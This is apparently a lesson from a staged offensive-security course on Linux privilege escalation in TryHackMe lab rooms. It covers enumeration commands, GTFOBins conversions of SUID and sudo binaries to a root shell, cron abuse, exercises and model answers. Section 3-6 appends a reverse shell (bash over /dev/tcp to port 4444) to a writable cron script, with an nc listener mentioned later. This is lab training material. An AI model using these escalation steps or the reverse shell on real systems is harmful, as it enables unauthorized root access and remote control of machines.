Step 253. THM Linux Privesc Rooms (13 Cumulative) — After the Shell, All the Way to root

Step 253. THM Linux Privesc Rooms (13 Cumulative) — After the Shell, All the Way to root

Level 3 — Real-World CTF & Advanced Offensive Skills | Difficulty ★★★★☆ | Estimated time: 5 hours

Prerequisites: Step 125~126 (privesc intro, enumeration automation with linPEAS), Step 251~252 (THM environment and routine, 8 cumulative).

  • What you need: Step 251~252’s THM environment and routine document, WSL Ubuntu (for local practice of enumeration commands — measured: Ubuntu 24.04).
  • ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime. TryHackMe is a legal learning platform — do not use today’s techniques on anything other than this platform’s room machines and your own WSL.
  • Measurement note: the enumeration command outputs in 3-2~3-4 are measured on my WSL (2026-09-09), while the screens and escalation scenes on THM machines are screen examples.

This stretch targets machines where the shell works but root doesn’t. The real-world patterns of Linux privilege escalation (privesc) are fixed — SUID (GTFOBins), sudo -l, cron-writable files, capabilities, kernel exploits, NFS no_root_squash. Those six branches you learned in Step 125~126 — now you train by checking them off one by one on real machines.

Today’s completion criteria are 13 cumulative rooms and a privesc pattern notebook. Recording "which pattern got me up" for every machine — with 13 machines accumulated, the patterns’ frequency of appearance becomes visible, and that frequency becomes your search order going forward.


1. Learning Objectives

By the end of this chapter, you will be able to:

  • Run the first command set right after getting a shell (sudo -l → SUID → cron → passwd permissions) in order
  • Cross-reference SUID binaries against GTFOBins to find an escalation path
  • Discover cron-job writable files and know how to wait for the execution cycle
  • Manually verify linPEAS results to distinguish "tool candidates" from "actual paths"
  • Record the escalation pattern per machine to complete a personal privesc pattern notebook

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category Details
Language/environment THM machine shells (mostly bash/sh) + WSL for local practice
Today’s commands sudo -l, find / -perm -4000, cat /etc/crontab, getcap -r /
Concepts needed SUID, GTFOBins, cron jobs, capabilities, NFS no_root_squash, manual verification
Today’s deliverable 13 cumulative rooms completed + privesc pattern notebook v1

2-1. Review — The Six Escalation Branches

Let’s unfold the big branches of Linux privesc from Step 125 again.

① SUID binaries — convert root-owned executables with the SUID bit via GTFOBins
② sudo rights   — convert commands shown by sudo -l via GTFOBins
③ cron jobs     — when a script root runs periodically is writable
④ capabilities  — binaries with dangerous capabilities attached, found by getcap
⑤ kernel exploits — public exploits against old kernels (last resort)
⑥ NFS no_root_squash — bypass via shared folders

Most real machines end at ①~③. So the search order starts at ①~③ too — checking in frequency order is fastest.

2-2. GTFOBins — The Conversion Dictionary for SUID and sudo

GTFOBins (gtfobins.github.io) is a dictionary collecting "how to use this binary for privilege escalation." When something turns up in sudo -l or the SUID list, your first action is to search that command on GTFOBins.

One core instinct: if the list shows something that is not an ordinary system command, it’s almost always the answer. If everyday tools like find, vim, python, less, tar carry sudo or SUID, that’s a ladder the author planted.

2-3. cron — The Attack That Waits

cron runs scripts as root at scheduled times. If a regular user can write to that script file, change its contents, and root-privileged code runs at the next execution.

The defining trait is waiting — it fires not the moment you modify it, but at the next execution cycle. Reading the execution times in /etc/crontab and, if needed, waiting 1~2 minutes with composure is part of this pattern.

2-4. Tools Give Candidates; Humans Verify

linPEAS (Step 126) paints escalation candidates in color. But not every red candidate is an actual path — there are false positives, and candidates whose conditions don’t match. Today’s training is re-checking the candidates linPEAS points out with manual commands. Don’t trust the tool; start from the tool.


3. Follow Along

Today’s Section 3 has two layers. In 3-1~3-4 you learn to read enumeration command output by measuring it on your own WSL; 3-5~3-6 show the application flow on THM machines (screen examples).

3-1. Preparation — The Four Opening Moves of Enumeration

Memorize the first command set to run right after getting a shell on a machine. The order is by frequency of appearance.

sudo -l                                  # ① what can I do with sudo
find / -perm -4000 -type f 2>/dev/null   # ② SUID file list
cat /etc/crontab                         # ③ scheduled jobs
ls -la /etc/passwd                       # ④ can I write to the passwd file

Below, you’ll actually run these four commands on WSL and read the output. One difference: WSL’s default account is root — on a real machine you are a regular user, which is what makes these commands "find the way up" commands. For now, focus on learning the shape of the output.

3-2. sudo -l — Reading the Permissions List

Input (measured 2026-09-09 on WSL, root account):

sudo -l

Output (measured 2026-09-09):

Matching Defaults entries for root on XI3492:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty

User root may run the following commands on XI3492:
    (ALL : ALL) ALL

How to read the output: the last line is the key — the format is "(as whom : as whose group) what." On a real machine, if a regular user’s output looks like (root) NOPASSWD: /usr/bin/find, it means find can be run as root without a password, and GTFOBins’ find entry is immediately your escalation path. Also get familiar with the disappointing output you’ll often see in the field (screen example):

Sorry, user www-data may not run sudo on target.

In that case, ① is closed — move on to ② SUID.

3-3. The SUID List — Finding What Isn’t Ordinary

Input (measured 2026-09-09 on WSL; a full-disk scan is slow, so the scope is limited to the main paths):

find /usr /bin /sbin -perm -4000 -type f 2>/dev/null

Output (measured 2026-09-09):

/usr/lib/openssh/ssh-keysign
/usr/lib/landscape/apt-update
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/umount
/usr/bin/su
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/mount
/usr/bin/fusermount3
/usr/bin/gpasswd

How to read the output: this list is a healthy Ubuntu default — commands like su, sudo, passwd where SUID is functionally necessary. On real machines, something that shouldn’t be here is mixed in (screen example):

/usr/bin/find        ← a name not in the default list means a ladder

Then you look up find‘s SUID entry on GTFOBins and convert it (a form like find . -exec /bin/sh -p ; -quit). Building the eye for comparison is this command’s training point — the measured list above is your "baseline of normal."

3-4. cron and passwd Permissions — Waiting and Overwriting

Input (measured 2026-09-09 on WSL):

cat /etc/crontab

Output (measured 2026-09-09, comments omitted):

SHELL=/bin/sh

17 *	* * *	root	cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6	* * 7	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6	1 * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }

How to read the output: the fifth field of each line is the executing user — when you see a job running as root, check the write permissions of the script or folder that command points to. Today’s measurement shows only system default jobs, but on real machines custom scripts like /opt/backup.sh appear, and such a file being writable is the trap. The schedule fields (the first five numbers) tell you the next firing time — like minute 17 of every hour.

ls -la /etc/passwd

Output (measured 2026-09-09):

-rw-r--r-- 1 root root 1490 Sep  8 21:12 /etc/passwd

How to read the output: owner root with rw-, the rest read-only — normal. If this file were -rw-rw-r-- (group-writable), the classic technique of adding a new root account in one line opens up. The check takes 1 second, but it’s a game-ending command when open, which is why it’s in the first set.

Take a look at capabilities too.

Input (measured 2026-09-09 on WSL):

getcap -r /usr/bin 2>/dev/null

Output (measured 2026-09-09):

/usr/bin/ping cap_net_raw=ep

How to read the output: ping‘s cap_net_raw is a normal default (for sending network packets). What’s dangerous in the field is an interpreter carrying a capability like cap_setuid (changing uid) — if python carries cap_setuid, that’s an immediate root shell.

3-5. Attacking THM Privesc Rooms — The Order for Checking Off Patterns (screen example)

Now let’s go to THM. Today’s room composition: isolate-train the six branches in a privesc-dedicated room (e.g., Linux PrivEsc), and practice the full "shell → root" run on regular Easy rooms to reach 13 cumulative.

Here’s the flow right after entering a machine with a shell (screen example):

www-data@target:~$ sudo -l
Sorry, user www-data may not run sudo on target.
www-data@target:~$ find / -perm -4000 -type f 2>/dev/null
...
/usr/bin/find
...
www-data@target:~$ find . -exec /bin/sh -p ; -quit
# id
uid=0(root) gid=0(root) groups=0(root)

How to read the output: ① closed → ② found → GTFOBins conversion → root. On every successful escalation, be sure to record it — "which pattern got me up." The accumulation of these records is the pattern notebook.

3-6. Manually Verifying linPEAS — Tool First, Then Human (screen example)

www-data@target:~$ ./linpeas.sh | tee /tmp/lin.txt

When a red candidate shows in the output, re-check that candidate with the manual commands from 3-1.

[linPEAS candidate] "cron job /opt/cleanup.sh is writable"
→ manual verification:
  cat /etc/crontab            # check the schedule and the executing user
  ls -la /opt/cleanup.sh      # is it really writable
  echo 'bash -i >& /dev/tcp/myIP/4444 0>&1' >> /opt/cleanup.sh
  # wait until the next execution cycle — cron is an attack that waits

How to read the output: even if linPEAS points out 100 things, only a few are actual paths. The habit of manual verification separates "tool dependence" from "tool utilization." And with cron, you must wait for the execution time after modifying — often it’s not that it doesn’t work, it just hasn’t run yet.


4. Missions & Exercises

Mission — 13 Cumulative and privesc Pattern Notebook v1

  1. Reproduce each of the six-branch patterns at least once in a privesc-dedicated room (THM Linux PrivEsc, etc.)
  2. Attack additional regular machines to complete 13 cumulative — prioritize machines that have a root.txt
  3. On every machine, keep the order of the first command set (3-1) right after the shell
  4. On every successful escalation, record "pattern: ____ / basis command: ____ / GTFOBins entry: ____"
  5. Leave a record of confirming (or rejecting) at least one linPEAS candidate by manual verification
  6. Gather the 13 rooms’ records into privesc pattern notebook v1 (appearance count per pattern + representative commands)

Exercises

Exercise 1. Interpret the sudo -l output (root) NOPASSWD: /usr/bin/find and describe the next action.

Exercise 2. Explain the criterion for distinguishing "normal" from "ladder" in a SUID list, using the measured list in 3-3 as your basis.

Exercise 3. Explain why "waiting" is necessary in cron-based escalation, and where you read the firing time.

Exercise 4. Explain "don’t trust the tool; start from the tool" in the context of manually verifying linPEAS.


5. Model Answers & Completion Criteria

Mission Model Answer

An example of the pattern notebook’s shape (fill the counts with your 13 rooms’ records):

# Linux privesc pattern notebook v1 (based on 13 cumulative)
| Pattern | Appeared | Representative command/conversion |
|------|------|----------------|
| SUID (GTFOBins) | _ times | find . -exec /bin/sh -p ; -quit |
| sudo -l | _ times | sudo -l → corresponding GTFOBins entry |
| cron writable | _ times | check /etc/crontab → modify script → wait for cycle |
| capabilities | _ times | getcap -r / 2>/dev/null |
| Other (NFS/kernel) | _ times | (record cases) |

### Retrospective
- _ machines solved with the first command set (_% of total)
- Machines I couldn't solve without linPEAS: _ → need more manual enumeration training

How to verify: ① 13 cumulative completion marks. ② Does each of the six branches have at least one success record? ③ Does the sum of counts in the pattern notebook match the actual records? ④ Is the "percentage solved by the first command set" computed — that percentage is the very power of the four opening moves. ⑤ Do the cron success cases include a record of "waited for the execution cycle"?

Exercise Answers

Answer 1. It means "you can run /usr/bin/find as root, without a password (NOPASSWD)." The next action is to search find on GTFOBins and convert using the sudo entry’s command — you get a root shell in a form like sudo find . -exec /bin/sh ; -quit. In the field, when something shows up in sudo -l, a GTFOBins search is almost always the answer.

Answer 2. The criterion is "was it originally present in the base system?" Today’s measured list (su, sudo, passwd, mount, fusermount3, etc.) consists of commands where SUID is functionally essential — for a user to change their own password, they must write to /etc/shadow, which requires root rights. If an everyday tool not in this list (find, vim, python, tar) appears, there’s no functional reason, so suspect a ladder planted by the author. You must know the baseline of normal to see the anomaly.

Answer 3. Because cron doesn’t execute the moment a file is modified — root executes that file at the next scheduled cycle. The firing time is read from the first five fields (minute, hour, day, month, weekday) of each line in /etc/crontab* * * * * means every minute, 17 * * * * means minute 17 of every hour. The common sense of this pattern is not "it doesn’t work" but "it hasn’t run yet."

Answer 4. linPEAS inspects hundreds of settings and marks candidates in color, but those are "possibilities," not "confirmations" — candidates that are actually blocked, because of a different version or unmet conditions, are mixed in. So delegate the job of producing candidates to the tool, but verify with manual commands (ls -la, cat /etc/crontab, etc.) whether each is an actual path. A division of labor where the tool handles breadth and the human handles depth.

Completion Criteria Checklist

  • [ ] I can enumerate the six branches without looking
  • [ ] Running the first command set in order right after a shell has become a habit
  • [ ] I distinguish "normal defaults" from "ladders" in a SUID list
  • [ ] I can convert sudo -l results via GTFOBins
  • [ ] In cron escalation, I can read the execution cycle and wait
  • [ ] I have a record of manually verifying a linPEAS candidate
  • [ ] I completed 13 cumulative rooms
  • [ ] I wrote privesc pattern notebook v1

6. Common Pitfalls & Fixes

Wall 1. find / -perm -4000 gets buried in error messages

Symptom: dozens of Permission denied lines come up first (example output):

find: '/proc/1234/task/1234/fd': Permission denied
find: '/sys/kernel/debug': Permission denied

Cause: regular users can’t read many directories, and find prints an error to standard error each time.
Fix: discard errors with 2>/dev/null — without this redirect, the list that actually matters gets pushed off-screen. A full WSL scan can take tens of seconds, so narrow the scope during practice, like /usr /bin /sbin (see the 3-3 measurement).

Wall 2. sudo -l asks for a password

Symptom (example output):

[sudo] password for www-data:

Cause: the sudo policy is configured to require password verification.
Fix: if you already obtained the user’s password along the path that got you the shell, enter it. If you don’t know it, treat ① as closed and move to ② SUID — when one closes, move to the next branch; that’s why you memorize the six branches.

Wall 3. You typed the GTFOBins command but you’re not root

Symptom: you typed find . -exec /bin/sh ; -quit but you’re still a regular user.
Cause: a case where the shell drops privileges itself — bash/sh drops privileges when the effective uid differs from the real uid.
Fix: on the SUID path, the -p option is needed (/bin/sh -p). Transcribe the options of a GTFOBins entry exactly to the end — a single tail character decides the privileges.

Wall 4. You modified a cron script and nothing happened

Symptom: no connection arrives at the reverse-shell listener.
Cause: usually the execution cycle hasn’t come around yet, or the script has an execute-permission problem, or the listener isn’t up.
Fix: three things in order — ① re-read the cycle in /etc/crontab and wait at least 1~2 cycles. ② Check that the listener (nc -lvnp 4444) is up first. ③ Check for typos in your script modification. cron is a quiet attack — waiting is part of the procedure.

Wall 5. linPEAS output is so long you miss the actual candidates

Symptom: hundreds of lines scroll by and you can’t remember what mattered.
Cause: linPEAS is verbose — you need a reading strategy.
Fix: save it to a file and re-read only the color-highlighted parts. After ./linpeas.sh | tee /tmp/lin.txt, review the sections where warnings and candidates cluster (red/yellow marks, "99% PE vector" and the like) first. And always verify candidates with manual commands — the real-world flow isn’t reading the whole long output, it’s extracting candidates and verifying them.


7. Summary

Today’s Concepts

Concept One-line explanation
The six privesc branches SUID · sudo · cron · capabilities · kernel · NFS
GTFOBins The dictionary that converts binaries into escalation paths
The baseline eye Know the normal SUID list and anomalies become visible
The attack that waits cron fires at the next execution cycle, not on modification
Manual verification Tools handle candidates; humans handle confirmation
Pattern notebook A cumulative document of "which pattern got me up"

Today’s Commands & Tools

Command What it does
sudo -l sudo permissions list — the first command typed
find / -perm -4000 -type f 2>/dev/null Full census of SUID files
cat /etc/crontab Check scheduled jobs and their cycles
ls -la /etc/passwd passwd writability (1-second check)
getcap -r /usr/bin 2>/dev/null Capabilities survey
./linpeas.sh | tee /tmp/lin.txt Automated enumeration + saving results

An Instinct More Important Than Commands

Privilege escalation is a game of searching — knocking on "doors the system left open by mistake" in the order of the six branches. The four opening moves (sudo -l → SUID → cron → passwd) open most real machines. And the recording habit that starts today: write the pattern every time you go up. Once frequencies are visible, your search order becomes science, and that notebook becomes the map for the Medium-machine stretch. The shell is the start and root is the finish — now you know the road between them as patterns.


Once every box is checked, Step 253 is complete.